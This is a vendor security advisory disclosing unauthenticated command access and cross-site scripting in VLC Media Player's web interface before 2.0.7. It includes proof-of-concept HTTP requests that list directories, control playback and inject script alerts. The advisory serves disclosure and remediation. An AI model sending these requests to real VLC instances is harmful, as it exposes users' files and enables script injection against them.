Trustwave SpiderLabs Security Advisory TWSL2013-007:
Multiple Vulnerabilities in VLC Media Player - Web Interface

Published: 06/10/13
Version: 1.0

Vendor: VLC Media Player (www.videolan.org)
Product: VLC Media Player - Web Interface
Version affected: Prior to 2.0.7

Product description:
VLC is an open source, widely used media player.  The VLC Media Player -
Web Interface is used when wanting to host a simple web server so that VLC
may be controlled remotely via a typical browser or mobile application.

Finding 1: Lack of Authentication/Authorization
**** Credit: Tanya Secker of Trustwave SpiderLabs
CVE: CVE-2013-3564
CWE: CWE-200

It is possible to issue any available command via the VLC Web Interface's
XML services without the need to authenticate.  For example, all media
files available in VLC may be played or stopped.  Also, it is possible to
view directory listings for any directory on the system by making use of
the deprecated 'dir' command.

Risk mitigators in version 2.x are the Access Control Lists (ACLs) in place
to prevent arbitrary hosts to connect to the interface but normally this is
set to a local range rather than a specific IP address.  VLC versions prior
to 2 did not have an implemented ACL, thus allowing any host access to the
XML services.


Examples:

View a directory listing of the /Users/ directory (OSX):

#Request
1. GET http:///A.B.C.D:8080/requests/browse.xml?dir=/Users/

Start playing a media file:

#Request
2. GET http:///A.B.C.D:8080/requests/status.xml?command=pl_play

Stop playing a media file:

#Request
3. GET http:///A.B.C.D:8080/requests/status.xml?command=pl_stop


Finding 2: Cross-Site Scripting
**** Credit: Tanya Secker of Trustwave SpiderLabs
CVE: CVE-2013-3565
CWE: CWE-79

Multiple instances of Cross-Site Scripting are present within the Web
Interface. The issue is considered systemic, but some example URLs are
provided below:

Version 2.0.1 examples:

#Request
1. GET http://A.B.C.D:8080/requests/vlm_cmd.xml?command=trustwave%27%3Ca%20xmlns%3atrustwave%3d%27http%3a//www.w3.org/1999/xhtml%27%3E%3Ctrustwave%3abody%20onload%3d%27alert%28%22xss%22%29%27/%3E%3C/a%3E

#Request
2. GET http://A.B.C.D:8080/requests/browse.xml?dir=%22%3E%3Cscript%3Ealert%28%27xss%27%29%3C/script%3E

#Request
3. GET http://A.B.C.D:8080/requests"><script>alert('xss')</script>*
*By default executed only by browsers that do not URL encode output, such
as IE6/7.  Found anywhere the 404 error handler is used.


Version 1.1.10.1 examples:

#Request
1. GET http://A.B.C.D:8080/requests"><script>alert('xss')</script>*
*By default executed only by browsers that do not URL encode output, such
as IE6/7.  Found anywhere the 404 error handler is used.

Remediation Steps:
The vendor has released a fix to address the cross-site scripting
vulnerabilities. Users should upgrade to VLC Media Player 2.0.7 or later.


Revision History:
4/05/13 - Vulnerability disclosed
5/26/13 - Patch released by vendor
6/10/13 - Advisory published


About Trustwave:
Trustwave is the leading provider of on-demand and subscription-based
information security and payment card industry compliance management
solutions to businesses and government entities throughout the world. For
organizations faced with today's challenging data security and compliance
environment, Trustwave provides a unique approach with comprehensive
solutions that include its flagship TrustKeeper compliance management
software and other proprietary security solutions. Trustwave has helped
thousands of organizations--ranging from Fortune 500 businesses and large
financial institutions to small and medium-sized retailers--manage
compliance and secure their network infrastructure, data communications and
critical information assets. Trustwave is headquartered in Chicago with
offices throughout North America, South America, Europe, Africa, China and
Australia. For more information, visit https://www.trustwave.com

About Trustwave SpiderLabs:
SpiderLabs(R) is the advanced security team at Trustwave focused on
application security, incident response, penetration testing, physical
security and security research. The team has performed over a thousand
incident investigations, thousands of penetration tests and hundreds of
application security tests globally. In addition, the SpiderLabs Research
team provides intelligence through bleeding-edge research and proof of
concept tool development to enhance Trustwave's products and services.
https://www.trustwave.com/spiderlabs

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